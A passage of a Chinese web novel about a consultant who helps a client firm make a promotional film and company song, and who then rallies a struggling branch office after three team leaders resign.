因此,制作tV唱片来宣传海量公司进驻当地市场是比较理想的。音乐分双语播放,可以快速琅琅上口,也易于传播。第二是歌词含有海量的文化元素,制作成tV,传播品牌和文化,都是一个非常不错的方式。 在写tV剧本和歌词之前,先得提炼公司需要发扬传播的文化。 第一百五十章 为海量打造文化影视 在团队几天的忙碌整理之后,洋洋洒洒三十多页,交到九月这里。 “现在还不是写剧本阶段,只须提炼精华,就像治金术一样,拿到一坨含有杂质的原料,要经过干燥、焙解、熔烧最后提取出可用的金元素经过再去杂质留精华等手段,最终留下那一点点纯金。 这三十多页里面,大多数是公司的规章制度和文化解析,这些都是当初我协助拟定的,每一条我都清楚,不用写给我。 你在提炼过程中,其实就是学习过程,不仅对公司文化理解更深刻,也能在更高维度去俯视文化的纹理分布。所以,千万别急于求成。” 书生配合海量的两名文化干事一起负责此事,此时点头如啄米,“可是,能不能给个方法,我还是觉得每一条都是精华。” 九月沉吟片刻说,“我提供两个方案,第一把公司文化的核心三项写下来,顺着核心文化去延展;第二,把每一条规章制度浓缩成2个字或4个字的关键词,然后把与核心文化无关的关键词去掉。有些规章制度里没有直白关键词,但它的含义就是那个关键字词,就像中国的词语释义一样。那根据它的意思划定这句话所表达某个关键词,总结出来就行。这不难吧?” “这么一说就不难了,谢谢慕老师。” 又经过一天半的功夫,项目组代表把成果交到九月手上,九月拿着公司的文化精萃开会,改改划划之后,一张纸的内容变成半张纸的内容。 怕团队受挫,于是半开玩笑半认真地说:“编剧会根据关键词去设计情节,埋下明、暗线,越简洁越好,写多了太复杂,不利于情节铺展。 我们中国武术,武器越少越好,就算没有武器随便摘一片树叶都能夺命,你将他身上挂满各式沉重武器,等于五花大绑,五花大绑的人是无法施展武功的。《水浒传》里的程咬金为什么只能挥三板斧就没有杀伤力了?因为板斧太沉了。” 在场的人都笑了,想想是这个理。 一方面联系文菌,安排合适的专业文创员捉笔撰写tV剧本,另一方面她带着团队则开始筹划歌词与作曲的事。 编剧构思之前,跟九月讨论tV需要展现出什么基调? 九月没有明确给出答案,但给了一个方向,“海量公司的主要用户和员工都是西方人,不能完全用东方人的视角,但必须有东方人的文化特色在里边。 比如说,一个旅游团,人们来自五湖四海,要达成某个目标,但遇到了非常大的劫难,把旅游团困在某种险境中。团队里的人都不认识,而且各有戒心,但是,仅凭自己的力量是无论如何也无法脱困的。 这时候代表公司‘理念’的东西出现,它既是大家的希望,也给了大家限制。可以是一个小孩的脸可以验证开锁,但小孩生命垂危必须马上拯救;也可以是一件缺失的物品,或一件未调查清楚的事。总之,大家必须按‘理念’的逻辑去行动,把大家的命运连在一起,才有可能脱困。 团队是为了达成大家心中的愿望——脱困活下去,虽然必须统一遵守‘理念’,同时也会面临一些规则和诱惑,在达成这个愿景的过程中,跟‘理念’形成冲突和阻碍。 比如说,出现的诱惑极强,团队中有一些意志力不强的人可能会违规,但违规的后果也必须非常严重,可能导致大家再也没有机会脱困,或者导致某些人死亡。 tV中的‘规则’必须是公司的价值观,而设立伏线的时候要把公司倡导的隐性文化展现出来,公司的隐性文化就是我给你们关键线索划出横线的那些词,很有中国味。最终给tV一个正向的结局,比如最终团队脱困,达成了某种愿景。 正向结局不一定要非常圆满,那太不真实。反而适当地失去一些违规人员的生命作为缺憾,反而可以加强、渲染tV主题。大概就是这样,你们可以大胆发挥想象力,我只是抛砖引玉,给出一个大致方向。” 编剧眼睛一亮,遂表示九月已经解释得非常明了,很快就能出稿。 九月说这些的时候,书生就在旁边,听得心痒,等九月挂断电话,扭捏地问:“我能写吗?” 见九月看着自己没说话,他又解释般的重复道:“我也想做专业文创,可以一起写吗?” 九月心里自然是高兴的,“当然可以,你就是我们团队的文创。如果你有这方面的兴趣,那么完全可以尝试。我刚才所说的那些,你也可以写一个剧本给我。多写几个本你的文笔会越来越老练。” “不过,平时注意积累素材。除了多看书,也要多输出。我看你平常也不爱发朋友圈,可能是性格使然。从今天起,你每天发一到三个朋友圈,凡是有所感悟的事,都可以马上发圈记录。等你养成这个习惯,你的洞察力和思维能力会得到锻炼。当然,你可以选择不公开,仅我可见,这个任务可以完成吗?” 书生腼腆一笑:“可以。” 九月解释道:“一个人的所说的话,所做的事,所有的思想高度和思维方式,一定是自己观感和自己见识,他不可能跳出出经历和见识以外的任何事物。 所以善于观察,将思维养得敏锐些。心里有印象才能向外界输出,心里没有的连想像也想像不出来。就像作者写作时,都在写自己的故事。自己的梦想,自己的志向。 若是写出了经历和见识以外的东西,就是累世储藏的东西,那才叫天赋。但天赋这东西是可以刻意练习的。” “原来你懂这么多。”书生无羡膜拜道。 “那可不是。我认识一个同事加朋友,她是普世公司第一大才女,叫文菌。这是她的经验,我借花献佛,传授给你。” 书生又感谢一番,眼里有希翼的光。 编剧在撰写剧本时,团队已经完成了公司的司歌歌词,发出去让一个非常有人气的谱曲家作曲。 很快,谱曲家很有效率的第三天就给回了曲子,并录唱了个范本。 公司里不乏会唱歌的人才,这时都争先恐后地争取自己来唱这首歌。 争吵不休的时候,团队让九月给标准做定夺。 九月笑着说,“司歌为公司而生,以团队呈现更倾向于公司想表达的意境,不适合凸显个人,但我们可以选择一个唱歌确实好听的人来引唱,带动团队合鸣的方式呈现。” 最终,每个部门选了一个代表来参与司歌排练,参与者都有独立歌曲部分,拍摄人员负责歌曲影音录像,每一个公司成员都有机会在歌曲mtV中露面。 练习熟练后,在公司内部录了一曲完整的歌交给九月。 第一百五十一章 尚云开会号召人心 编剧将创作完整的第三版电子剧本稿件发给九月,九月一边听着司歌,一边看剧本。 总觉有点违和。 于是约了个时间,将歌曲组和编剧组约在一起开视频会议,播放歌曲的同时观看tV剧本。 有人说,“这剧本一幕幕都是文字没有画面感,我感觉不出来。” 也有人说,“也不是没有画面感,你看文字的时候就能眼前出现你脑海里的场景。但歌曲是连贯的,剧本则是一会内景,一会外景,画面感切换得很碎,着实没法融合。” 毕竟都不是影视专业,大家没讨论出实质意义的内容。 九月道,“那由编剧跟大家讲述这个故事,大家听完之后再来听音乐。” 好在编剧的语言表达能力非常强,声情并茂地讲述故事的起始、遇到的困阻、一致的愿景、遭遇的挑战、人性中的挣扎与痛苦、最终达成目标。 编剧用语言中的抑扬顿挫将在座听众引入情境,悲伤与喜悦,呆萌与老练,温暖与撕裂相融合,最后激发出潜力,有人率先为团队利益奉献出自己既得利益的决心,促使大家圆满达成目标,非常悲壮。 结束的时候,音乐突然响起,刚开始还好,但最后的合唱显得特别突兀。 再次问大家的意见时,大家都觉得应该取消合唱,大家分开唱,特别是后面激昂的曲调时,依次让大家分中高音,然后先后有技巧的排序,再叠加音贝,以达到推至高点的效果。 意见统一后,歌曲组的成员重新排练,一直到最后大家听了都觉得满意,才预约录音棚录歌,公司的后期制作根据歌曲长度剪辑影像,司歌至此宣告完成。 九月带着团队忙得团团转的时候,雷辰光也不时地来串门,问问进度。 脸上的笑容也是越来越明显,时不时的在上班时间买些东西犒劳九月团队和自己的项目组。 临时搭建剧组选角,进入拍摄,几个月的功夫,完成制作。经过后期特效的处理,一部震撼的tV大片即视感,配上司歌,堪称一个完美。 项目大部分工作已然完成,但结果放到互联网上,点击率低得让人灰心。 特别是雷辰光,基本每天都上线查看数据。 九月只得安慰他,“文化传播深入人心需要一个发酵的过程,循序渐进。另外,公司内部需要做的工作可能还没到位。 首先在内部播放量要提高,包括总部和分部,观影后要写影评发到网上去,再在公司的媒体上去详述这个电影讲述公司哪些价值观,带给市场的意义。 然后再将公司媒体上的文章内容,再换装,用各种不同形式撰文形成软广告,推广到市面大V上去传播。但我们的目的要明确,拍tV一是为了让公司文化深植人心,特别是内部员工;二是提升公司知名度,打开市场的大门;三是让用户知道我们在坚持什么,禁忌什么,我们是值得信任与合作的。 这三点才是宣传的主要内容,不能为宣传而宣传。毕竟我们不是为了投资拍电影,去夺电影行业的饭碗。” 经九月站在局外点破迷雾后,雷辰光茅塞顿开,一条条工作布置下去。 时间又推了一个月,借着媒体力量与tV质量,海量公司这部电影红遍了半边天,在那边无人不知这家公司。 随着知名度的提升,海量公司的业绩连番上升,发展规模越来越大,渐渐地达到了国内金仕集团那样的体量。 而最大的收获,是深入了解中国文化与中国企业之后,这个国家的公民快速改观对中国文化的种种误解,开始用正确的眼光看待国人。 海量公司有很多国内的年轻小伙或姑娘长期在国外工作,渐渐的与地方比较优秀的青年人成了朋友,甚至组建了家庭。 这是后话,按下不表。 普世公司也在这段时间出现了生机和活力。 尚云召集所有驻扎在外的“将士”,召开了一次“复元”会议。所谓复元,顾名思义即是恢复元气的意思。 大家自开年以来,第一次集中出现在训练沙场。 严教官根据以往训练口令,带着全体人员进行一次完整集训后。大家热血沸腾,以往的活力与精气神满血复活。 尚云走上台,接过话筒讲了以下发言。 “普世的将士们,这段时间大家驻扎在外,我知道这很辛苦,但我也从你们传回来的捷报,也就是你们发给我的报表,看到了你们用汗水和专业能力换来的成果。从一个个冰冷的数据看出你们的不容易,更看出你们的坚定决心和实际行动。 我很骄傲。 公司创建年限并不长,但大家展现出来的大将风范却远远超出我对大家的预测。正是你们的各方面的优秀让其他人感受到了威胁,才会出现今天的局面。 你们不用害怕,这正是我们做对了事情,走对了路的象征,以后要更加英勇、更加专业、更加精进,保持竞争力让对手锐不可挡,加筑护城河,直到牢不可破!” “好!好!好!”这番话调动台下士气,全体人员齐声用惯常的口令回应道。 等整齐的口令声消迹,尚云又说道:“话说回来,世间之事都可以用辩证思维去看待,危机其实就是转机,正是因为困局暴露我们的弱点,我们必须学会转弯,转变思维扭转局面。 代表普世将面临新的挑战和新一轮成长,我相信,普世的全体都已经做好准备,迎接新的机遇。 我们从零做到了一,这是大家的血汗筑就的成就。但这份成就里,也酝酿着我们的危机。水盈则溢,月满则亏,我不愿意看到大家沉浸在温水煮青蛙的环境中,那样是没有未来的。在去中秋,我们开启了免费课程,将我们大部分业务从“有偿服务”变为“无偿服务”。 这是我们成长的第一个契机。那么第二个契即是现在。 林肯曾经说,不管一匹马当下状态怎样,只要有一只马蝇叮咬,它就很快会精神振作,拼命奔跑。我把自己当成那只马蝇,希望普世能在压力下转化为动力,迎来新的高峰,那才是我们的真实力。” “普世的全体将士,这四年里都是我看着成长的孩子,也希望普世带给你们的不光是光环和收入,还有它的责任和使命,当外界充满期待的时候,你们一定不能辜负他们的期待,当外界质疑你们的时候,你们能用实力和真诚证明自己。 这个社会太需要正直统一的思维模式了,只有把微观文化宏观化,才能减少企业攀登高峰的成本和阻碍,才会让整个社会改变认知:我们已经告别了吃不饱、穿不暖的时代,金钱和物质已经不是最重要的追求。 我们每一个人,才会在普遍不安全的境遇下,真正安全起来。包话吃的、喝的、用的,全球良知能实现绿色环保、卫生健康,没有人再为了钱财罔顾他人的安全、健康甚至生命。 这个艰巨的任务,也许太过于沉重,普世暂时可能无法担起这样的重任。但无论如何,这都是普世要去做,要去推动的一件重中之重的事业。 也是每一个人,每个企业都应该全力以赴去做的事。 普世在追求成就的同时,要保持清醒,持续不断地为社会输出自己的价值。接下来我们的路线可能要做大的调整,我有信心带领各位将士彻底摆脱如今这样被动的局面。希望各位将领一如即往的付诸热情,贯彻执行公司任何深思熟虑的决策。 我要讲的就这些,感谢各位将士的付出和追随,感谢每一个普世家人为这个大家庭贡献了青春和力量。” “好!好!好!”现场全员报以雷鸣掌声,士为知己者死,这是全员与首领的共鸣,是呼应。 第一百五十二章 东维恺被辞退 复元会议过去一个星期,普世便有了翻天覆地的变化。 先是研发部开始忙绿工作,将整体部分划分成两个细分组。一个研发组,针对文化流程设计、专业技能、评估工具等,做出深化工作。 另一个是研究组,针对中西方文化和企业之间的关系的优劣势深入研究,并提纯出更利于融合彼此优点甚至强化优点的另一套方法论。这一组大部分是学者派。 再是蓝鲸集团有一部分维持现状驻扎在国内执行蒲公英落伞计划,公司销售部门开始进发国际业务,任务分派给一部分有外语资质的团队。 最明显的变化,是普世三年内的战略计划做了调整,由原来规划的七个“点”连成“线”再辐身全球,如今直接升级到“面”,由中心服务辐射至全球范围。基本每个区域都有战略旗帜,要在三年之内全部实现。 这是克普始料未及的。 而在这期间,东维恺回了普世,补了两天的请假条。 尚云二话不说便批了假条。 东维恺站在他面前欲言又止,但尚云并不给他机会,“去叫木信进来,我有事找他。” 对于尚云阴晴不定的态度他摸不准是何用意,只好怏怏离去。 去了对面办公室,木信正好开门走出来,手里拿着一个文件夹。见东维恺在门口,便将文件合起来,“维恺,有事?” 东维恺低垂着头:“木总,董事长找你。” “好。”木信便转而进了尚云房间。 尚云仍伏案而作,见木信进来,他抬头将左手边签批好的文件给他。“这几个人的职位变动我没意见,以后你做主就可以了。” “好的,刚才维恺说你找我。” 尚云拧开杯盖,喝了一口茶,说道:“两件事,头一件,我这段时间要带团队出国考察市场,国内你盯着。老甘那边力不从心,我估计研发部这边够你头疼,离不开人,但老甘只怕也撑不久了,九月那边倒是很顺利,如果她忙得过来可以调她过去支援。” 木信点点头,“研发部这些天都在冲关,有些标准差之毫厘失之千里,我经常需在场盯着。” “我的意思是,你该培养人手了。”尚云沉声提醒道:“不是指你给我资料的那些人才,要准备搭建你自己的核心班子,既有能力又值得信任的人,把他们当成你的接班人为标准去选人。肩膀上的担子越来越重,如果没有人替你分担,你累到吐血也管理不好公司。” 木信最近压力确实很大,自上任总经理以来,心里那根弦就没有放松过。“暂时还没有合适人选。” “你自己想办法,公司没有,商界总会有,商界没有校园应届毕业生里也会有,需要惠眼。另外一件事,给东维恺结算工资,赔偿金按辞退规定结算,离职手续则按辞职流程办。”尚云说。东维恺和关之洁是木信的人,理应木信做主处理就行了。但看起来事情没那么简单,为弄清真相一直拖着没动作,既然知道了就尽早了结此事。 “关之洁呢?”木信瞬间明白他的意思,东维恺和关之洁的事尚总早就知道,因此他有此一问。 “之前还不敢确定,但前几天箫小竺来了一趟我就笃定东维恺是她的人。所以关之洁先留在公司,以防箫小竺加害于她,再说女孩的名声要紧,一起离职惹人非议。” “明白了。我去安排。”木信道,又把手上带来的文件夹递给尚云,“这里面都是东维恺在公司密切接触的人,他们觉得可疑,便主动跟我反映了一些信息。本来打算跟你商量此事,现在也没必要了。” “我就不看了。我相信他们。”尚云眼里闪过一抹暖色,“普世的全体员工,从不叫我失望。” “但是这么一来,我们对东维恺的处置可就算得上至仁至义了。” 尚云淡淡地说道:“我们这辈子,遇到的人和事无非两种。一种出现带来的全是负面信息,为了让我们觉醒,观照认知,提升认知。另一种出现带来真正意义上的正面帮助,提升我们的价值,推动我们登高。 不能用简单粗爆的判断人事物的对错。更重要的,是人事物本身带给你成长还是成功,是反思还是精进。” 木信若有所思,很快领悟尚云的意思。 外界对于普世公司关注度仍是居高不下,正是如此,普世公司的风吹草动都会引来无数议论与猜测。 普世公司在全国各地偏远工业城镇落下无数事业部,但更多的指向已经绕过本国直指海外。似乎第一步创建分公司就再无后续,而分公司的发展也屡屡受挫,这就不难理解普世被逼无奈转移阵地。 有不少人预测,“总部便坐落在远离发达城市中心的宝宁城扎根,现在又将无数事业部落在偏远城镇,这是自找苦吃。” 一些有丰富管理与经济知识的人则觉得,“这你们就看不懂了。跟渐进式经济过渡一样,以现阶段的发展模式来看,很多城市实现名片升级,就像过去的香港、如今的新加坡一样,变成贸易、金融之类的中心点,制造业被动大量地迁移到偏远城镇,开发荒凉之地,形成新的产业和经济形式出现。宝宁的客户都是制造业为主,这不是很明显吗?” 有人马上认同,“没错。制造业从中心城市的撤离充分说明这一点。偏远城镇的人工与地产上的价格压力也让企业减负很多,这适宜大制造业的生存。而普世的前瞻性眼光,早就看透这点,先在终点打稳根基等着他们。 虽然目前还存在很多挑战,但凭借着总部的成就模式,有好的市场声誉与服务质量,不难出头的。” 更有人大胆推测:“你们说的都有几分道理。但普世的创始人尚云的创业理念,‘不以营利为最终目的’,起码他做决策也决不会是投机分子那样奔着铜臭味而去,我倒是觉得可能有两个主要原因。” 第一百五十三章 雷总主动为九月介绍业务 “第一,企业密集的地方就是普世出现的地方,它是服务性质企业,虽然已经实现线上智能就诊,但线下服务也增加了很多,以及很多问题不是线上能完全解决的。” “第二,普世的服务远不止国内的范围,也许是蜕变成国际企业,也许是世界级服务,他们的触角已经伸向海外,这样的部署就证明下一步棋一定在国外,而且是非常重要的一步,我们拭目以待。” 不可否认,那些评论人的嗅觉还是很敏锐的。 他在国外延伸不光为了走出去,而是走出去吸收精华,再汇集到总部中心研究出一套同时具备中华文化精华和其他国家优化后的顶级文化管理思想,通过他的事业部网状脉络推广普及,实现国家强企林立、全球统一文化的自豪景观。 虽然这一步提前迈出去了,还是被逼迫采取的应对措施,但最初的设想不变。 尚云看了那些媒体的大胆预测,一笑而过,未置可否。第二天带着专攻国外市场的团队考察市场去了。 普世分公司团队也参与了上次的复元会议,老甘回总部受到各兄弟团队的热情拥戴,纷纷谈起他们旗开得胜的事。老甘苦笑着一一接纳,什么都没说,但他的压力在身,尚云感受得到。 老甘身上有谁都看得出来的野心和冲劲,因此自尊心便成了他的优点和弱点。对于团队的受挫,老甘辗转反侧,实在没辙,便想着哀兵必胜的路数,开始设计激励机制,让三个团队内部互相竞争形成高压和驱动力去完成目标。 三个团队都是他亲自培养出来业务水平老练的顾问,深知他们的优劣势,便给三个团队设计独立的目标值。 其实问题不在自身团队,而在外界市场。似乎有个怪圈将他们阻隔在外,他们始终在圈子外围,每次看似有望获得客户的认可,总会在关键时刻就反水,概不承认之前的意向和口头承诺。 三个团队接近崩溃边缘。 老甘的激励机制无疑是压死骆驼的最后一根稻草。就像一直疲于奔命却久未进食的马,突然又将身上增加重量,还被人用力鞭笞,便彻底倒下。 三个团队的头领同时递上了辞呈,这是普世公司有史以来第一次遭遇此事。 “你们......”老甘显然没想到是这样的结果。 他将三人约在会议室谈话,“你们的业务水平都很老练,不要因为一时的挫折就打退堂鼓。常胜将军也有打败仗的时候,我们要学会调整自己的心态,以往也出现过困难,不也都过来了吗?” 三人垂头丧气,并不应答。 老甘耐心地继续劝道,“我们做业绩有起伏是正常的。这个阶段业绩不好,没人敢用这一阶段否认你的整个人生,如果你们自己现在退出,那这个结局就坐实了,跟随你们一辈子。只要不放弃,你还是有机会达成自己的目标。面对困难,想办法征服困难就是勇士,不存在成与败。” 可能是三名领头羊已心灰意冷,面对艰难的市场,放大了困难和恐惧,一方面也与当地环境水土不服,始终没能适应新环境。 这看似是失败后提出的退出,其实是从当初细小的不坚定和动摇发展成失败,激励机制只不过加速推动本已摇摇欲坠的城堡,顺理成章的递出辞呈。 老甘的劝慰与表态并未达到该有的效果,僵持了两三天,三人在坚定立场下回总部办了离职手续,老甘在总部同僚面前颜面尽失,受到沉重一击。 木信打电话给老甘时,他有气无力的嗯啊哦几句,就收了线。 完全没有了刚刚走马上任时的意气风发。 想起尚云之前就嘱咐他要给老甘派支援过去,当时木信有点迟疑,正思虑找哪个人过去比较好。毕竟老甘之前是有点排斥九月的,她过去支援无疑加剧团队分裂。 然而,事到如今,他不得不按照尚云给的预案去做。 九月在海量的项目已经告一段落,但是雷辰光这次是主动找她。 她正带着团队去周边工业城发名片,并以洽淡业务为由按照公司规定进入了潜在客户的场地,通过观察公司的蛛丝马迹,便有了底去谈判。 她们团队分了三组,她带着任聪去洽谈。 干周与方仔本就擅长沟通,他们俩搭档很有默契,便给他们也分一组专门跑市场收集讯息,看到潜在客户就汇报给九月和任聪这一组。 而老欧与书生一组,这一组搭档比较中和,主要留守在公司以电话销售为主,书生拟定针对性的要点,老欧在电话里以他的技巧表达出来。书生听他表达有不妥处,便会在下一次优化后再给老欧设计专业角度的台词,日益进步倒也有模有样了。 这天,雷辰光找到九月的办公点,在她还没出门前便堵住她。 “雷总,稀客稀客。”九月意外他的突现,帮将他迎进简陋会议室。“我们这临时办公地点荜门蓬户的,雷总将就一下。” “慕小姐这是受我牵累才会被发配到这里来开发市场,这些我早有耳闻。但看了你们这办公环境,才发现尚总是真狠呐。我要是不帮衬着点儿,让你们重新光鲜亮丽地回去,我良心难安。” “老欧,给雷总倒杯茶来。”九月笑着喊了一声,接话说道:“雷总别这样说,咱们之间不打不相识呀,是雷总给我机会,信任我。尚总有尚总的考虑和原则,这些处罚我都认。英雄不问出处,我们有实力,就不在乎这些暂时的困境,回去是迟早的事。不过,雷总要是能在我们困难的时候支持一二,我倒是非常期待的。” “跟慕小姐共事一场才看出你身上的志气和魄力,确实女中豪杰。”雷辰光由衷说道,“如今你说这番话,我是一点都不怀疑你的决心。说实话,要不是听说世上最难撬的墙角就是普世的墙角,我还真想将你挖走,那我就省心了。” “雷总说笑了。”九月笑道。 这时老欧端了茶过来。“雷总请喝茶。” 雷总朝他点头一笑,继续跟九月说:“我今天来呢,还真是带了一笔生意给你。就看你会不会接受。” “哪有拒绝送上门的生意的道理。”九月表态。她知道,如今普世这局面,要不是病入膏肓,同行不接的单子,恐怕也不会有找上门送给她的好事。无论什么情况,都得接着,这是活下来的唯一出路。 第一百五十四章 普世痛失三名精英 雷辰光有点意外,“我都还没说是什么情况,你就敢应话。以前我可是听你亲口说,不打没把握的仗。” “对,我是说过。但是雷总误会我的意思了。”九月回应道,“不打没把握的仗,是说我们在做事过程要注意方方面面的细节,有了充足准备更有胜算,并不是说不接没把握的案子。普世公司的使命就是帮客户实现使命。一个医生不会拒绝任何一个病入膏肓的病人,只要有一线生机,就会拼尽全力去救治。我们也一样,只要有一线生机,只要客户有求生欲望,我们就不能弃之不管。” “哈哈哈!”雷辰光朗声大声,“好!听了慕小姐这话,我的格局都被你打开了。实不相瞒,这是我一个兄弟的公司遇到难处了。只要这个项目能成,你放心,后面一定会有更多项目。” “那就提前感谢雷总的鼎力支持了!”九月伸出手表示合作。 雷辰光伸手交握,又说了几句场面话,便心满意足离开了。 九月站在门口目送他的车离去,身后几位年轻人在九月身后突然欢呼。 “领导,这就成了?” “太厉害了,我可听到了,后面有更多项目!” “哈哈!听到了听到了!” 九月看着他们乐成一团,好笑地道:“别光看到好处就高兴得太早,这个项目肯定是块硬骨头,不容易啃。都要打起十二分精神来。” “当然!” “一切听从领导的调遣。” “行!”九月抬起手臂看了看腕表,“这个项目还有两天时间才会入手,我们先把今天的计划完成,不出意外的话,今天就可以成交一个客户。书生和老欧继续留守,我和任聪去拜访客户,干周和方仔你们继续出去收集信息。” “是!”这次,五人异口同声,相视一笑分头行动。 九月和任聪来到之前拜访过的一家大型企业,企业负责人并不是创始人,而是一位职业经理人游总。 他的压力比较创始人要大得多。一是公司本身存在很大隐患,要费很大心力绞尽脑法去处理;二是要对创始人负责,顶着压力走钢丝,难免剑行险招。但企业在这样令人窒息地管理扼制下,反而适得其反。 九月正是抓住这一点,瓦解职业经理人的防备心,获得他的信任。 “我知道,你们企业是商会一员,早就获悉消息不与普世合作。但你要清楚,目前本行业中要说排头那肯定是克普,要拼专业实力还没有公司能出普世左右。我不是说克普有什么不好,相反有很多方面都有它自己的优势。但这个优势相对来说治标不治本,而普世的方法则不同,虽然耗时会慢一些,那是因为我们必须要找寻真正出问题的点,连根拔出。” “我说的这些你其实心中有数,但你有今天的成就,就承担了别人想像不到的压力。要是公司有个三长两短,创始人可能一句‘破产清算’他自己这把年纪就可以安享天年了。 但你不一样,还得寻找良木栖足。这个企业败笔有可能会成为你职业生涯的障碍,所以,你比创始人还要盼着公司好,你的压力难以想像。 如果我们可以帮你,而公司在商会得到的指令,你作为职业经理人只对公司负责,完全可以当作不知情。创始人就算问责起来,你也可以实话实说,是为了公司发展着想。你们要站在同一阵线,因为贵公司跟其它企业情况不同。 所以,商会不会横加指责,无端就牵怒你们。 退一万步说,如果商会真要为难你们,一定会寒了大家的心,大家本来就是秉着为了企业强盛才加入商会,而不是为了受谁的管控才加入。他们这么做,那么这个商会的价值和意义就不复存在,一定会瓦解,因为它的公信力已经大打折扣。” 见游总低头沉思,九月知道自己的话在他心里产生作用,便以退为攻,站起身来,“你可以考虑我的意见,我还有别的项目要处理,先告辞了。” 她转头跟任聪说道,“我们走吧。” “等等,不用考虑了。签合同吧。”游总抬头,坚定地说道。 九月成功签下合同,离去的路上,木信就打来电话,“九月,你那边还好吧?” 九月脑中快速地思考,“发生什么事了?我这边一切都顺利,刚签下一单合同。” “分公司出事了,三个团队的领头羊都离职了,我打甘总电话,他也无力辩解什么,很消沉。我这边也走不开,你如果方便,能否过去支援他?我担心他这个状态,让其他成员失去主心骨,也没信心坚守下去。” 九月闻言心中一震,想了想说道:“好,我安排一下,尽快赶过去。” 尚云预测中的情况出现了,果然他们对普世总部和分部严加打压,以至于团队失去信心,军心动摇了。 当初甘总为了打开局面,特意挑了亲自扶植起来的团队过去开辟市场,获得开门红还是令人欢欣鼓舞的,没想到会走到这个局面。 “领导,出什么事了?”任聪见九月脸色变了,急忙问道。 “分公司出了点岔子,我要过去一趟。这边客户的初诊事宜等我回来再安排。”九月沉着的说。 任聪说,“我们几个一起过去吧?” “不用,你们在公司继续执行我之前拟定的计划,分公司现在需要的不是人手,而是项目。今天这一单合同是个好开端,你也看到了,只要找到突破口,就没有拿不下来的客户。” 九月一番话,让任聪突然生出万丈雄心,他用力点点头。 回公司安排好工作,当天即打车去了分公司。 三个团队领头羊离职后,团队就群龙无首了。尤其是老甘也意志消沉,连续两天都没出门。当初三个团队信心满满来开辟“江山新版图”,却没想到半年光景失去三个重要伙伴。大家在总部时团结向上,来分公司也患难与共,感情相当深厚。 大家负重前行却一无所获时,老甘没有及时给大家疏导情绪,却一昧强硬鞭笞,加重负担。一众成员虽然没明说出来,但心里始终憋着不满。这份不满老甘是感受得到的,这让他百爪挠心,更加自责。 也是从这里开始,团队离了心,出现裂痕。才会导致三位领头羊执意离职。 第一百五十五章 九月带队接下难啃硬骨头 老甘晚上翻来覆去睡不着,有几次被内心痛苦折磨得没办法,就想拨通尚云的电话,跟他说自己想“卸下重担”的想法,但每次都在按最后一个号码时,停住动作。 尚云曾在他来分司之前,找他谈过话。如今,他的话犹在耳边:“......无论在什么境遇下:第一,要有敏锐的危机感;第二,要聚集人心。在企业里,聚集人心最忌的三大天敌,一是没有使命感的驱使,二是没有目标的劳动,三是没有责任与界限的核心价值观,千万要注意;第三,保持自信,但放低姿态。凡事都有解决之道,只要随时能转换思维。” “我不能放弃!”他扯过被子捂脸,良久,从被子里传出这个中年硬汉的失声痛哭。 失眠一宿之后,照常上班。 团队成员还是不冷不热地像平常一样,也陆续来公司。 这时,门口出现一个身影,眼尖的团队成员透过窗户看到九月,大声道:“看!那好像是慕总助。” “不是好像,她就是。” 慕九月的出现,就像是阴霾的天空乍现阳光,大家毫无颜色的世界一时亮了起来。 九月大步流星地进入公司,看到团队成员,笑道:“大家伙们,我来看看你们。都还好吧?” 团队成员中有几个是九月的仰慕者,马上应合道:“欢迎欢迎!列队欢迎!” 大家像年会那时一样鼓掌欢呼起来,“欢迎慕总助下凡视察工作!” 办公室里的气氛一下子热烈了起来。 老甘肿着一双眼睛,也从自己办公室出来了,站在远处微笑。 九月看到老甘,便走过去道,“甘总,分公司的事我昨天听木总说了,他让我过来一起想想办法,度过难关。这段时间你一定撑得很辛苦,我们都知道主要原因不在你,你也别难过。都会好起来的。” 老甘心中一暖,眼眶泛红,“欢迎!” 事过境迁,心中已是一片苍桑。此时九月的出现,像是给了老甘一注强心针,不再像以往那样戒备和排斥。 九月会心一笑,转身用力拍了拍手掌,对所有成员道:“各位,咱们开个简会,有新的任务。” 全体成员迅速在会议室围坐起来,九月让老甘坐在主席位,自己则在左侧第一个位子。 开会前,老甘照例先讲两句,他清了清嗓子,“各位,这几天我痛定思痛,想了很多。小启他们三人离职,有一半原因在于我。 之前着重于团队之间的角力,为了激起大家的斗志,却忽略了大家在外面所遭受的挫折和压力一点都不比我少,同时还存对陌生市场的无力与心理上的冲击,特别是遭到冷眼时,跟之前在总部工作时存在落差相当大。 我的激励机制并不适用这种情况下的工作状态,应该协同大家一起想办法如何更有效的开发市场,互相帮助攻克难题。这是我对自身的反省,也希望各位能像以往一样,保持斗志,永不放弃。” 九月鼓掌,带动了大家的掌声。 掌声息下,九月为了让全员听到自己的发言,就站了起来:“各位,公司在这几个月以来,一直受到同行的打压。那天的复元会议上尚总的讲话,想必大家也都听到了,公司遇到这样的危机,不是因为我们做得不好,更不是像甘总这样的领导管理得不好。 确实事出有因,他的压力比我们任何一个人想像中的要大,有时急切想帮助大家,即使方法有失偏颇,我们也要互相谅解,理性提出建议,而非轻言放弃。” 见在坐的人没有异议,她又道:“对于三位离职的老员工,我跟大家一样难过,虽然很遗憾,但我们得稳住心态继续前进。从今天起,我协助甘总的工作,一起扶住狂风暴雨中的分公司深深在这里扎稳根。 市场可能很荒芜,我们要敢拍着桌子说:荒芜怎么了,就是冲着这荒芜才来的!所以,只要有信心,只要齐心协力,就没有什么可以阻挡我们前进的脚步。论战斗力,我们一个就是一支团队,论凝聚力,我们一支团队就像一个人。各位同意吗!” “好!”大家不约而同地大声吼道,又掌声响起。 九月微笑回头看看甘总,老甘会意,笑着伸出拳头,这是普世团队训练的特殊仪式。 大家纷纷将自己的拳头伸过来,一个挨一个,形成一个圆形。老甘说道:“市场在拳头墙里面,在我们的围堵下,它跑不掉!” “跑不掉!”众人呼应。 接下来,九月又将自己心中的计划跟全体人员表述一遍。 第一,将自己刚签下来的客户给蓝鲸团队去做,未来也会继续供应、分享客户,保证大家的生存,但要发展还得靠自己。 第二,分公司正处于极度困难阶段,不管哪个蓝鲸团队找到客户,收获所得都得与其他两个团队一起共享,三个团队互帮互助,又互相自主自立。 第三,每个人的区域划分依然维持原来规划,但在作战方式上做了调整。当目标客户非常有潜力成为我们的客户,自己没把握的时候可以提出支援申请。由她和老甘作出精密计划再行动。 全员一致同意,分公司终于恢复了最初的活力。 老甘对九月暗暗佩服,士别三日当刮目相看,这话放在九月身上一点都不为过。 